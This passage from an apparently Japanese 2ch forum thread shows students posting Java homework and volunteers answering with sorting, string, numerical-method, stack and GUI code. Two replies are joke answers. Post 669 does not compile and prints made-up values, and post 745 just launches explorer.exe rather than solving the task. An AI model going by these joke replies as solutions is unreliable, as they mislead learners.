ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/692.java
機能貧弱なのを作ってみた。
デフォルトパッケージに属する、つまりpackage文のないソースファイルだけを扱う。
Newメニューで入れるのはクラス名であってファイル名ではない(Hoge.javaを作りたいならHogeを入力)。
ソース編集部分以外のテキストエリアもキーボードショートカットは利く。
全てのソースファイルはカレントディレクトリ(Openメニューで最初に開かれるディレクトリ)に保存される。
実行するときはmainメソッドを持つソースファイルを開いてコンパイル済みならRunメニューを選択すると実行する。
コンパイルはjavax.toolsパッケージを利用しているけれど、
実行はjavaコマンドをProcessBuilderで呼び出す形なのでjavaコマンドにパスが通っていないと動かない。
実行もクラスを動的に呼び出してやろうとも思ったけどクラスのアンロードが面倒なのでこの形にした。
実行時の標準入力は一番下のJTextFieldに入れてENTERで送る。
作成時間が短いのであまりエラー処理とか真面目にしていないし、適当に実装してるので無茶をすると変になると思う。
終了時やコンパイル時にセーブしたかどうかのチェックとかその他諸々扱いやすいようになっていないので気をつけて。
ツールバーのアイコンは面倒だったので文字だけど、格好いい画像を用意してImageIconでセットした方がいい。

このアプリ自身はクラスファイルのままでも、クラスファイルの数が多いのでjarにまとめても動くと思う。
いちおうjarにまとめたものをjava -jarで実行して、このソース自身を開いて、コンパイル、実行できた。
ただ、作成、テストしたのがバージョン6の公開JREをインストールしていない環境なので、
Windows環境でのダブルクリックによるexecutable jarの実行でどう動くかまではテストしていない。
662デフォルトの名無しさん:2009/06/09(火) 11:04:18
忘れてた。
あと、コマンドライン引数を与えてmainを呼び出せるようになっていない。
これは引数を入力する仕組みを追加してProcessBuilderに引数として与えればいいと思う。
663 ◆gYINaOL2aE :2009/06/10(水) 20:40:46
【 課題 】3桁の数値データが複数入ったファイルをバブルソートを用いて
      昇順に整列、新しいファイルに格納。データの件数は50件まで
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】制限なし
【 期限 】6月11日 
【 Ver  】1.6.0_13
【 用語 】
【 補足 】例外処理として、コマンドライン引数が間違っている場合、
      読み込みファイルがオープンできない、書き込みファイルも
      オープンできない、読み込みにファイルがない場合をお願いします。

よろしくお願いします。
664デフォルトの名無しさん:2009/06/10(水) 22:07:12
>>663
入力データはScannerのデフォルトの空白区切り文字による区切り。出力データは改行区切り。
import java.io.*;
import java.util.Scanner;
public class A {
public static void main(String[] args) {
if (args.length != 2) { System.err.println("usage: java A input_file output_file"); return; }
int[] data = new int[50];
int n = 0;
Scanner scanner = null;
PrintWriter writer = null;
try {
scanner = new Scanner(new File(args[0]));
while (n < 50 && scanner.hasNextInt()) data[n++] = scanner.nextInt();
for (int i = 0; i < n; i++) for (int j = 1; j < n - i; j++) if (data[j] < data[j - 1]) {
int temp = data[j];
data[j] = data[j - 1];
data[j - 1] = temp;
}
writer = new PrintWriter(new BufferedWriter(new FileWriter(args[1])));
for (int i = 0; i < n; i++) writer.println(data[i]);
} catch (IOException e) {
System.err.println(e);
} finally {
if (scanner != null) scanner.close();
if (writer != null) writer.close();
}
}
}
665デフォルトの名無しさん:2009/06/11(木) 00:06:45
【 課題 】
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/693.txt
【 形態 】
1. Javaアプリケーション(main()で開始)
【 GUI  】
4. 制限なし
【 期限 】
6月30日
【 Ver  】
1.6.0_13
【 用語 】
http://kogolab.jp/elearn/hamburger/index.html
にて、今回の課題に必要な大まかな知識は得られます。
【 補足 】
課題文も長いですし、専門的な知識が必要となるのでわかりにくいかもしれませんが、どうかよろしくお願いします。
666デフォルトの名無しさん:2009/06/11(木) 00:08:42
すいません課題のアドレスを間違えました。こっちでお願いします。

【 課題 】
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/695.txt
【 形態 】
1. Javaアプリケーション(main()で開始)
【 GUI  】
4. 制限なし
【 期限 】
6月30日
【 Ver  】
1.6.0_13
【 用語 】
http://kogolab.jp/elearn/hamburger/index.html
にて、今回の課題に必要な大まかな知識は得られます。
【 補足 】
課題文も長いですし、専門的な知識が必要となるのでわかりにくいかもしれませんが、どうかよろしくお願いします。
667666:2009/06/11(木) 00:27:01
演習課題2で、C言語でとなっていますがJavaの間違いです
668デフォルトの名無しさん:2009/06/11(木) 11:13:43
ここまでやって・・・
public class SikenHyoka{
public static void main(String[] args){
Seiseki ss=new Seiseki(???????????);
System.out.println("合計点="+ss.gokei());
System.out.println("平均点="+??????????);
System.out.println(????????????????);
}}class Seiseki{
private int kokugo,sugaku,eigo;
public Seiseki(int k, int s, int e){
kokugo=k;
sugaku=s;
eigo=e;
} public int gokei(){
return kokugo+sugaku+eigo;
} public double heikin(){
double g=gokei();
return g/3;
} public String hyoka(){
double h=heikin();
if(h>=80) return "優";
else if (h>=60) return "良";
else return "可";
}}


?????の部分がわからなくてどなたか分かる方いませんか?
669デフォルトの名無しさん:2009/06/11(木) 11:54:54
>>668
public class SikenHyoka{
public static void main(String[] args){
Seiseki ss=new Seiseki("1","2","3");
System.out.println("合計点="+ss.gokei());
System.out.println("平均点="+"2");
System.out.println("俺の名を言ってみろ。");
}}class Seiseki{
private int kokugo,sugaku,eigo;
public Seiseki(int k, int s, int e){
kokugo=k;
sugaku=s;
eigo=e;
} public int gokei(){
return kokugo+sugaku+eigo;
} public double heikin(){
double g=gokei();
return g/3;
} public String hyoka(){
double h=heikin();
if(h>=80) return "優";
else if (h>=60) return "良";
else return "可";
}}
670デフォルトの名無しさん:2009/06/11(木) 14:05:34
>>644
中身がゴチャゴチャで意味不明…

結局、テキストファイルを読ませて逆ポーランド記法で出力させるようなものを
作ればいいの?
671デフォルトの名無しさん:2009/06/11(木) 14:07:18
>>668
どんな動きをさせたいんだよ…
>>669
コンパイルエラーぐらいは無くしとけ…
672デフォルトの名無しさん:2009/06/11(木) 16:57:44
>>668
計算したらいいと思ったらSeisekiクラスにメソッド全部用意されてんじゃねーかw
673デフォルトの名無しさん:2009/06/11(木) 20:04:35
JAVAで
コメント行である
「/* */」を空に置換したいのですがひとつだけ例外があって
SQLのヒント句である「/*+ */」だけは空にしたくないのですが

下記の書き方であってますか?

いろいろテストした結果は問題ないのですが
よろしくお願いします。

間違っているなら正解をすみませんが教えてください。


str = str.replaceAll("/\\*[^\\+].*?\\*/", "");
674デフォルトの名無しさん:2009/06/11(木) 20:31:51
>>640のソースなんですが、うまく実行させることができません。
うまく実行できるように改良されたソースを作っていただけませんか。
よろしくお願いします。
できたら説明を付け加えていただけると助かります。
【 形態 】
1. Javaアプリケーション(main()で開始)

CUIで実行

【 期限 】
6月12日
【 Ver  】
1.6.0_13

675デフォルトの名無しさん:2009/06/11(木) 20:39:45
【 課題 】二つの文字列str1 とstr2 を入力して、str1 とstr2 から交互に一文字ずつ順番にとりだして、交
互にならべた文字列をつくれ。長い方の文字列の後の部分はそのままくっついた形になる。
String,StringBuffer クラスのメソッドを使え。
【 形態 】1. Javaアプリケーション
【 GUI  】制限なし
【 期限 】6/18
【 Ver  】1.6.0_05
【 用語 】
【 補足 】
実行例1
文字列1を入力してください。
12345
文字列2を入力してください。
abc
12345 とabc の文字を交互にならべると1a2b3c45 となる。
実行例2
文字列1を入力してください。
abc
文字列2を入力してください。
12345
abc と12345 の文字を交互にならべるとa1b2c345 となる。

丸投げです。よろしくお願いします
676 ◆gYINaOL2aE :2009/06/11(木) 20:50:21
>>664
ありがとうございました。
おかげで助かりました!
677デフォルトの名無しさん:2009/06/11(木) 23:16:56
>>675
import java.util.Scanner;
public class R675 {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
System.out.println("文字列1を入力してください。");
String str1 = sc.nextLine();
System.out.println("文字列2を入力してください。");
String str2 = sc.nextLine();
StringBuffer sb;
if (str1.length() > str2.length()) {
sb = new StringBuffer(str1);
int i = -1;
for (char c : str2.toCharArray()) sb.insert(i += 2, c);
} else {
sb = new StringBuffer(str2);
int i = -2;
for (char c : str1.toCharArray()) sb.insert(i += 2, c);
}
System.out.println(str1 + " と" + str2 + " の文字を交互にならべると" + sb + " となる。");
}
}
678デフォルトの名無しさん:2009/06/12(金) 00:26:25
【 課題 】
方程式 x^3-3x-2=0(初期点x0=-10)について、Newton法を利用して
初期値に対する解と5回目の反復の値x5を少数第10位まで求めよ
そのときの反復回数も記せ
反復回数が50回を超えたときは、その反復は収束しなかったものとする
収束判定条件はε=10^(-10)として相対誤差を用いて行うものとする

【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】制限なし
【 期限 】6月13日 
【 Ver  】1.6.0_11

よろしくお願いします
679デフォルトの名無しさん:2009/06/12(金) 00:41:27
>>677
即レス感謝です。動作確認できました。
toCharArray()を使うというのに気がつきませんでした。
勉強になります。
680デフォルトの名無しさん:2009/06/12(金) 01:06:45
>>678
その方程式専用に短くしようと思ったけど基本的には>>652-653と同じなので再利用。
>>642の(3)がニュートン法そのものだから答は既にあったともいえる。
反復回数の数え方は>>653参照のこと。
public class R678 {
public static void main(String[] args) {
new RecurrenceFormula() {
@Override public String description() { return "x^3 - 3x - 2 = 0"; }
@Override public double f(double x) { return (x * x - 3) * x -2; }
@Override public double g(double x) { return x - f(x) / (3 * x * x - 3); }
}.iterations(-10, 1e-10, 50);
}
private abstract static class RecurrenceFormula {
public void iterations(double x0, double epsilon, int maxIteration) {
double x = x0, x5 = 0;
int k;
for (k = 0; k <= maxIteration; k++) {
if (k == 5) x5 = x;
if (Math.abs(f(x)) < epsilon) break;
x = g(x);
}
System.out.println(description() + ": x0=" + x0 + ", eps=" + epsilon);
System.out.println("repeat=" + k + ", solution=" + (k <= maxIteration ? String.format("%13.10f", x) : "収束しなかった"));
System.out.println("x5=" + (k >= 5 ? String.format("%13.10f", x5) : "5回より速く収束した"));
}
public abstract double f(double x);
public abstract double g(double x);
public abstract String description();
}
}
681デフォルトの名無しさん:2009/06/12(金) 01:13:08
>>679
String#charAt()でstr1とstr2から交互に1個ずつ取り出して、
バッファにappendしていく方がやりたかったことをそのまま表している感じでよかったかも。
1個ずつ取り出していき、どちらかが尽きた時点で残った方を一気にバッファにappendする。
682デフォルトの名無しさん:2009/06/12(金) 01:59:12
書いてみた。StringBuffer sb;から最後の出力の直前までを、

StringBuffer sb = new StringBuffer();
int n1 = str1.length(), n2 = str2.length(), min = n1 < n2 ? n1 : n2;
for (int i = 0; i < min; i++) sb.append(str1.charAt(i)).append(str2.charAt(i));
sb.append((n1 == min ? str2 : str1).substring(min));

に置換。min = n1 < n2 ? n1 : n2はmin = Math.min(n1, n2)でもいいか。
短い方の文字数minに合わせて交互にsbに付け加えて最後に長い方の残りの部分を加える。
文字数が等しい時は最後の文のsubstringは空文字を返す。
683デフォルトの名無しさん:2009/06/12(金) 03:20:11
>>640のソースなんですが、うまく実行させることができません。
うまく実行できるように改良されたソースを作っていただけませんか。
よろしくお願いします。
できたら説明を付け加えていただけると助かります。
【 形態 】
1. Javaアプリケーション(main()で開始)

CUIで実行

【 期限 】
6月12日
【 Ver  】
1.6.0_13
684デフォルトの名無しさん:2009/06/12(金) 11:32:53
>>683
何が不満なのかわからねえよ
685デフォルトの名無しさん:2009/06/12(金) 12:56:02
>>683
ちゃんと動きますが?
686デフォルトの名無しさん:2009/06/12(金) 17:08:35
>>681
3つの文字列を交互にという課題もあったので、そのやり方を参考にさせていただきました。
こちらのほうが分かり易くていいですね。フォロー助かりました。ありがとうございます
687デフォルトの名無しさん:2009/06/12(金) 17:31:53
>>686
あなたの出された課題が別スレで題材になっています。
アルゴリズムの参考になさってください。
http://pc12.2ch.net/test/read.cgi/tech/1242876647/150
688デフォルトの名無しさん:2009/06/12(金) 17:43:04
Prologで書かれてもな…
>>686がPrologを知っているならいいがそれでもそれをJavaで実装する参考にするにはハードルが高いぞ
689デフォルトの名無しさん:2009/06/12(金) 19:24:39
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/698.txt
【 形態 】1. Javaアプリケーション
【 GUI  】制限なし
【 期限 】6/15
【 Ver  】1.6.0_11
【 用語 】
【 補足 】
よろしくおねがいします
690デフォルトの名無しさん:2009/06/12(金) 19:47:42
>>680
やっと理解できました
ありがとうございました
691デフォルトの名無しさん:2009/06/12(金) 20:51:48
>>689
public class Stack {
private int[] stack;
private int top;
public Stack(int size) {
if (size < 0) throw new IllegalArgumentException("Stack size is negative.");
stack = new int[size];
}
public void push(int item) {
if (top < stack.length) {
stack[top++] = item;
System.out.println(item + " をpush");
} else {
System.out.println("Stack is full.");
}
}
public int pop() {
int item = -1;
if (top > 0) {
item = stack[--top];
System.out.println(item + " をpop");
} else {
System.out.println("Stack is empty.");
}
return item;
}
}
692デフォルトの名無しさん:2009/06/12(金) 20:59:24
>>691で出力を一つ見落とし
System.out.println("大きさ" + size + " のスタックを作りました。");
をコンストラクタの最後にでも付け加え
693607:2009/06/12(金) 22:20:57
>>636>>514さんに作っていただいたプログラムについてなんですが
toolで実行した際にif文を使って打ち込むとき
if(1==1)1+1;のように打てば解析修了ときちんとでるはずなのですがでません
ifを打ち込むとTokenTypeのpublic static final int IF = 268に飛ぶはずなのですがpublic static final int SYMBOL = 259に飛んでいます(scannerで実行したところ確認できました)
普通の文字とは別にifやwhileはそれぞれ別のTokenTypeにいくはずなのにそれができていないということです
その処理についてずっと修正しようと悩んでいたのですが解決することができずにいます
どなたかわかる方いたらif文の処理ができるようにするにはどうすればいいか教えてもらえませんでしょうか?
694 ◆fNuaxAT5Ks :2009/06/12(金) 23:06:45
【 課題 】ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/699.zip
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】制限なし
【 期限 】6/14
【 Ver  】
java version "1.5.0_18"
Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_18-b02)
Java HotSpot(TM) Client VM (build 1.5.0_18-b02, mixed mode, sharing)
【 用語 】なし
【 補足 】途中までは作成しました,しかし結局できませんでした.zipに入っているファイルのみ使用可能で、ちなみに簡易字句解析プログラムです.
本当に分からないのでお願いします!
695 ◆fNuaxAT5Ks :2009/06/12(金) 23:08:53
>>694
すみません、自己解決しました。
696デフォルトの名無しさん:2009/06/12(金) 23:37:25
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/700.java
【 形態 】 Javaアプリケーション(main()で開始)
【 GUI  】制限なし
【 期限 】6月13日 23:00まで
【 Ver  】1.6.0_13
【 用語 】
【 補足 】課題の説明、途中までのソースやエラー内容はリンク先に記載しています。
      コンパイルエラーが起こり、どうすればエラーが直るのか分かりません。
      途中まで書いたソースを完成したいので、お力を貸してください。
      よろしくお願いします。
697デフォルトの名無しさん:2009/06/12(金) 23:50:03
>>696
その心意気は買いたい所だが…
もう少しJavaらしく書こうな、初心者なら仕方ないだろうが
コンパイルエラーが起きているのは、エラーの起きてる箇所
st.readLine(); の readLine() がStringTokenizer内に定義されていないから
無い物を使おうとしているからコンパイルエラーが起きている
gCodeに関しても同様、定義していない物を使おうとすればコンパイルエラーが起きるのは当然
698デフォルトの名無しさん:2009/06/13(土) 00:10:02
言うだけ言って放りだすのも悪い気がしたので
一応、コンパイルエラーを消して置いた
動作が正しいかどうかは追っていない
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/701.java
699デフォルトの名無しさん:2009/06/13(土) 00:17:44
>>696
いっそ丸投げしてくれていた方が楽だと思うぞ
ここまで書いたけどエラーが出て対処方法も分からないので新規作成でもOKですとかって
700デフォルトの名無しさん:2009/06/13(土) 00:21:32
あー入力の所のclose適当に書いちまった
もしそのまま使うなら
try {
if (input != null) {
input.close();
}
} catch (IOException ioe) {
// ignore
}
に書き換えてくれ
701デフォルトの名無しさん:2009/06/13(土) 00:48:47
【課題】あるコンテナ・ヤードにおけるコンテナの処理状
況は次のとおりであった。
(1)コンテナの入場率平均値:5.0個/時間
(2)コンテナの捌き率平均値:4.7個/時間
(3)ゲート数窓口数:1
このコンテナ・ヤードのゲートにおける滞貨状況
を計算機シミュレーションにより調べ、考察を加え
なさい。なお、滞貨状況の考慮時間は100時間と
し、昼夜を問わず同様なコンテナの動きであるとす
る。
【形態】コマンドプロンプト
【提出期限】6月26日
【 Ver  】1.6.0_07
【補足】入場率は指数分布、捌き率は標準偏差の3倍の範囲
を考慮する正規分布に従うものとする。
変わった課題ですがよろしくお願いします。

702デフォルトの名無しさん:2009/06/13(土) 00:52:10
>>701
計算式
703デフォルトの名無しさん:2009/06/13(土) 02:44:48
>>701
入場率そのものが指数分布、捌き率そのものが正規分布になるの?
入場時間間隔や捌かれる時間間隔がそれぞれの分布にしたがうのではなく?
指数分布のほうは平均値だけで母数は事足りるけど、
正規分布のほうは標準偏差の3倍の範囲に収まる分布と規定されているだけなので、
実際にシミュレーションで使用すべき分散の数値は?
704デフォルトの名無しさん:2009/06/13(土) 03:15:02
>>701
待ち行列でググレ
705デフォルトの名無しさん:2009/06/13(土) 03:19:41
質問を訂正。
> 捌かれる時間間隔
じゃなく、捌くのに必要な時間の分布が範囲限定された正規分布ではないのか、だった。
706デフォルトの名無しさん:2009/06/13(土) 04:40:51
>>691
のプログラムに【課題】のなかにあったプログラム混ぜるとコンパイルは
通りましたが
K3_2.java:1: クラス Stack は public であり、ファイル Stack.java で宣言しなければ
なりません。
public class Stack {
とでたのでファイル名を変更し実行したら
C:\>java Stack
Exception in thread "main" java.lang.NoSuchMethodError: main
とでました。
ミスは別のところにあったのでしょうか?
707デフォルトの名無しさん:2009/06/13(土) 04:50:39
>>706
× C:\>java Stack
○ C:\>java Sample
708デフォルトの名無しさん:2009/06/13(土) 04:52:22
>>706
Stackクラスにはmainメソッドは存在しないから実行時にそういうエラーが出る。
javaコマンドに与えるのはmainメソッドが定義されているクラス名。
javaコマンドはその与えられたクラスのmainメソッドを呼び出す。
709707:2009/06/13(土) 04:56:57
>>706
>>707は取り消し。

・publicなクラスは1ファイルに1クラスしか定義できない。
・publicなクラスを定義するとそのクラス名をファイル名にしなければならない。

だから、
・Sample.javaの中にStackクラスを書きたいなら、Stackクラスのpublic修飾を取り除く。
・publicを外したくないなら、Stack.javaというファイルにStackクラスを定義する。
のどちらかをやらないと駄目。

実行するときはmain()が定義されたクラスを指定する。
710デフォルトの名無しさん:2009/06/13(土) 05:00:34
>>709
俺もそう思ってレスを書き始めたんだが最後に確認したらSampleはpublicじゃなかったw
まあ、publicかどうかに関わらず1クラス1ファイルの原則を守った書き方をした方がいいんだが。
711514:2009/06/13(土) 10:49:33
>>693
あ。ごめん。ミスってた。
Scanner.javaの中のメソッドscanSymbol()で

buf.append(c);

buf.append((char)c);
に変えてみて。

StringBufferを使うときは、intをcharにキャストしてやらないと
ダメなんだよね…。よくミスるから、気をつけよう…。。。
712607:2009/06/13(土) 12:02:00
>>711
scannerでしたか。ほんとに1から10までありがとうございます。
713デフォルトの名無しさん:2009/06/13(土) 13:15:40
>>709 >>710
publicを外したら動作しました。
publicにそのような規則があったんですね。関係ないと決めてかかって
別のところに問題があると思ってました。参考書でpublicを探したら
現在学習している内容の先に書かれていました。
ありがとうございます。
714デフォルトの名無しさん:2009/06/13(土) 17:14:56
>>697
ありがとうございました。
おかげで、何が原因でエラーが起き、どう対処すればいいのかが解りました。
Javaは今月から勉強を始めたのですが、Javaらしく書けるようにがんばります。
715デフォルトの名無しさん:2009/06/14(日) 03:22:58
>>701
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/702.zip

>捌き率は標準偏差の3倍の範囲を考慮する正規分布に従うものとする。
ここだけ意味分からなかったから、自分でGateModel#getDepartureInterval()を適当に書き換えて。
716デフォルトの名無しさん:2009/06/14(日) 16:36:18
>>666どなたかお願いします
既にやってらっしゃる方がいたら催促してすいません
717デフォルトの名無しさん:2009/06/16(火) 09:59:05
【 課題 】>>638の改良
【 形態 】1. Javaアプリケーション(main()で開始
【 期限 】6月17日
【 Ver  】1.6.0_13
【 補足 】この問題を改良する課題です。>>640の方のプログラムを改良していただければ幸いです。
プレイリストを持つことができるようにする。プレイリストとは、登録済みの曲の任意の集合の名前を付けることができる機能。
プレイリストを作成することができる
プレイリストを削除することができる
プレイリストに曲を登録することができる
プレイリストから曲を削除することができる
プレイリストを削除しても、プレイヤーからその曲が削除されるわけではない
プレイリストから曲を削除しても、プレイヤーからその曲が削除されるわけではない
プレイリストに属する曲の一覧表示ができる

ヒント
プレイリストクラスを作成する。プレイリストオブジェクトには、曲の参照が複数登録しておけるようにする。
つまり、またArrayListを使う必要がある。

どなたかお願いします
718685:2009/06/16(火) 12:59:58
質問には答えないの?
719デフォルトの名無しさん:2009/06/16(火) 17:37:37
うまく実行できないってだけでその詳細も報告もできず投げっぱなし。
そのまま終息するかと思えばそんなことなかったかのように
それを改良してくれとかってどういう精神構造をしてるんだ?
まあ物好きがいればやってくれるんじゃないか。
720デフォルトの名無しさん:2009/06/16(火) 21:07:51
>>718
答えないよ?
721717:2009/06/16(火) 23:01:06
【補足】プレイリストクラスの名前はFkcuEdaでおねがいします
722717:2009/06/17(水) 00:50:52
上の質問した方とは別の人なんですが、信じてもらえないですよね・・・・
自分は上の方のプログラムは問題なく動きましたので質問しようかと思ったのですがダメでしょうか
新しくArrayListを作りプレイリストのArrayListを格納して複数のプレイリストを管理すればいいのかと思ったのですが
プレイリストに名前を付けれるという点でどうにもよくわからなく正直お手上げ状態です、スレ汚しかと思いますがお願いします
723デフォルトの名無しさん:2009/06/17(水) 01:17:00
>>717
ここで提案されたコードは、すべて先生に報告します。
同時にこのスレッドも報告します。
724デフォルトの名無しさん:2009/06/17(水) 01:29:44
>>722
public class PlayList{
private String name;
...
}
725デフォルトの名無しさん:2009/06/17(水) 11:33:46
【 課題 】生産者/消費者問題
      与えられたソースコードProducerConsumer.javaに以下の機能を追加せよ。
      ・消費者を表すスレッドを2つに増やす
      ・二つの消費者スレッドの内、片方は奇数の資源を、もう片方は偶数の資源を消費するスレッドに改良する
【 形態 】1. Javaアプリケーション(main()で開始
【 期限 】6月19日21:00迄
【 Ver  】1.6.0_13
【 補足 】ProducerConsumer.javaはttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/703.javaに上げています
      生産者スレッドが資源を生産すると容量3のキューに資源を与え、その資源を消費者が消費します
      キューが埋まっている場合、生産者スレッドは資源を生産しません
      キューが空っぽの場合、消費者スレッドは資源を消費できません
      以上、どうか宜しくお願いします
726デフォルトの名無しさん:2009/06/17(水) 16:04:28
【 課題 】
方程式 x^3-3x-2=0(初期点x0=-10)について、パラレルコード法を利用して
初期値に対する解と5回目の反復の値x5を少数第10位まで求めよ
そのときの反復回数も記せ
反復回数が50回を超えたときは、その反復は収束しなかったものとする
収束判定条件はε=10^(-10)として相対誤差を用いて行うものとする

【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】制限なし
【 期限 】6月18日 
【 Ver  】1.6.0_11

よろしくお願いします
727デフォルトの名無しさん:2009/06/17(水) 16:08:54
>>726
パラレルコード法ってなんだ?
728デフォルトの名無しさん:2009/06/17(水) 16:14:02
>>727
ニュートン法の初期値での微分係数の値f'(x0)が得られた場合に
微分係数を反復ごとに計算せず、常にf'(x0)を利用する方法を
パラレルコード(parallel chord)法という

とあるのですが、ググってもでてこないので他に言い方があるのかもしれません
729デフォルトの名無しさん:2009/06/17(水) 16:56:18
730デフォルトの名無しさん:2009/06/17(水) 18:50:06
>>729
ううん・・・

別名フォンミーゼ(von Mises)法とも言うみたいです
731デフォルトの名無しさん:2009/06/17(水) 19:21:17
これは数学板に質問とかした方が良いかもしれん……
732デフォルトの名無しさん:2009/06/17(水) 20:27:06
>>731
わかりました

お騒がせしました
ありがとうございました
733607:2009/06/17(水) 22:23:28
【 課題 】scannerの拡張の続き
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】6月29日
【 補足 】
またかと思われるのも仕方ないと思うんですが以前から助けてもらってるものです。
前回、前々回ともに>>514さんに感謝です

>>514さんに作っていただいたプログラム
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/689.zip

ttp://www51.tok2.com/home/rg550/cgi-bin/hosoku/img0042.zip
のフォルダの中のal2-2009-07とal2-2009-08のスライドの内容を追加していくという課題です
al2-2009-08の最後に今回の課題が書いてあるのですが1つ目の課題は余り2の場合で、2つ目の課題は余り1の場合の課題です(もしよければ2つ目は余り2の場合も作ってもらいたいです)
期限までまだ日にちがあるので自分でも頑張っていこうと思うんですが絶対に完成しないと思うのでまた助けてもらえるとうれしいです。よろしくお願いします
734デフォルトの名無しさん:2009/06/17(水) 22:35:52
【 課題 】登録画面作成
【 形態 】1. JavaサーブレットとJSP
【 期限 】6月18日
【 補足 】
お願いします
735デフォルトの名無しさん:2009/06/17(水) 22:37:12
>>734
意味分からん。
1000年ROMれ。
736734:2009/06/18(木) 10:54:00
自己解決しました。
737デフォルトの名無しさん:2009/06/18(木) 20:53:44
【 課題 】適当な文字列を入力して、暗号化するプログラムを作る。暗号キーは2桁で、暗号文は奇数番目と偶数番目の文字列を、暗号キーの値だけ交互にずらして作成する。
       使用する文字種は「!」から「z」までの90個とする(0x21~0x7A)。 またを超えたら!に戻すこと。

【 形態 】1. Javaアプリケーション(main()で開始

【 期限 】6月18日24時もしくは6月19日正午まで

【 補足 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/708.zip


普通に暗号化するならできるんですが、交互に値を取るとか言われるとさっぱりです…
急ですがよろしくお願いします。
738デフォルトの名無しさん:2009/06/18(木) 21:24:25
>>737
意味分からん。
739737:2009/06/18(木) 22:31:37
>>738
添付ファイル見ていただければわかりやすいと思うんですが…
740デフォルトの名無しさん:2009/06/18(木) 23:42:37
【 課題 】棒取りゲームを作れ
      ルールは各自アレンジしてよい。
      一度に何本取ることができるか、何段あるのか等自分のレベルに合わせてアレンジする。
【 形態 】javaアプリケーション
【 期限 】7月中旬

授業で始めにjavaを習う予習として出された課題です。
自分はまだ全然理解できていないところがあるので、サンプルとして、簡単に作っていただけるだけでも幸いです。
741デフォルトの名無しさん:2009/06/19(金) 00:55:04
742725:2009/06/19(金) 01:49:53
>>725
出来れば、明日の締め切りまでにどなたかお願いします……
既にやっている方がおられましたら、催促してしまい申し訳無いです
743デフォルトの名無しさん:2009/06/19(金) 10:54:51
【 課題 】電子レンジのパネルようなものを作る
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】2. Swing  GUIの課題です
【 期限 】24日
【 Ver  】1.6.0_04
【 補足 】
・タイマー ○○:○○
・open ←ボタン ・start  ←ボタン
・close ←ボタン ・stop  ←ボタン
・時計   ○○○○年
      ○○月○○日
      ○○時○○分
・プログレスバー

・時間になると画面表示が出る
・デザインは任意
・open closeボタンは押すと画面表示が出るような感じで

課題丸投げになります。すいませんがよろしくお願いします。
744sage:2009/06/19(金) 14:46:50
【 課題 】同一フォルダ内にある画像を一覧表示するプログラムを作成せよ。
      また一覧表示した画像をクリックすることでその画像を別のウィンドウで
      拡大(オリジナルの2〜3倍程度)して表示できるようにすること。
      画像の一覧表示をする時に、画面内に収まらない場合、
      垂直方向のスクロールバーを実装すること。
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】4. 制限なし
【 期限 】6月22日
【 Ver  】java version "1.5.0_06"
      Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_06-b05)
      Java HotSpot(TM) Client VM (build 1.5.0_06-b05, mixed mode, sharing)
【 用語 】特になし
【 補足 】丸投げになってしまいますがよろしくお願いします
また表示予定の画像は容量が大きいためアップロードできませんが
      画像1枚あたりのオリジナルサイズは大きいものでも100×80程度で
      この大きさの画像(全部同じサイズではありません)を
      全部で150枚表示することになっています。(40×80や80×50程度のものもあります)
745デフォルトの名無しさん:2009/06/19(金) 21:10:05
>>744
public class MainClass {
public static void main(String[] args) {
execute("C:\\WINDOWS\\explorer.exe");
}
static public void execute(String command) {
try {
java.lang.Process proc = Runtime.getRuntime().exec(command);
proc.waitFor();
} catch (Exception e) {
}
}
}
746デフォルトの名無しさん:2009/06/20(土) 06:03:25
>>744
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/711.java
ディレクトリの指定方法を書いていなかったからコマンドライン引数で指定。別方法が必要なら自分で直して。
とりあえず画面一杯にウインドウを開くけどそこらへんもそっちの事情に合わせて修正して。
こっちでテストした100×80メインで40×80や80×50が少し混在した200枚の画像くらいなら何ともないが、
でかいサイズの画像がいっぱいあるとjavaコマンドのデフォルトのメモリー設定ではメモリー不足になる可能性大。
747デフォルトの名無しさん:2009/06/20(土) 06:13:45
17行目のhemlはtypoで本当はhtmlだった。
特に問題なく動くけど。
748デフォルトの名無しさん:2009/06/20(土) 10:18:43
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/712.txt
【 形態 】Javaアプリケーション(main()で開始)
【 GUI  】制限なし
【 期限 】6月21日18時まで
【 Ver  】1.6.0_13
【 用語 】数学用語、専門用語の意味、説明を書きます。 《あれば必須》
【 補足 】丸投げです。

よろしくお願いします。
749デフォルトの名無しさん:2009/06/20(土) 12:36:12
>>748
「突合せ処理」がなんだか分からないし、

結果がバグってるし
>001 沖縄 支店 出力日(出力した日)  P.2
750デフォルトの名無しさん:2009/06/20(土) 12:41:43
【 課題 】
String a ="@test あいう@aaaおえてhttp://test.com/と";
aから@から始まるアルファベットとURLを取り除く処理
System.out.println(a);

出力結果
あいうおえてと

aから@から始まるアルファベットとURLを取り除く処理はどのように書けばいいのでしょうか?

【 形態 】Javaアプリケーション(main()で開始)
【 GUI  】制限なし
【 期限 】6月20日20時まで
【 Ver  】1.6.0_14
【 用語 】なし
【 補足 】丸投げ


751デフォルトの名無しさん:2009/06/20(土) 12:47:40
>>750
日本語でおk
752デフォルトの名無しさん:2009/06/20(土) 12:48:59
753デフォルトの名無しさん:2009/06/20(土) 12:54:21
>>752
意味不明だろ
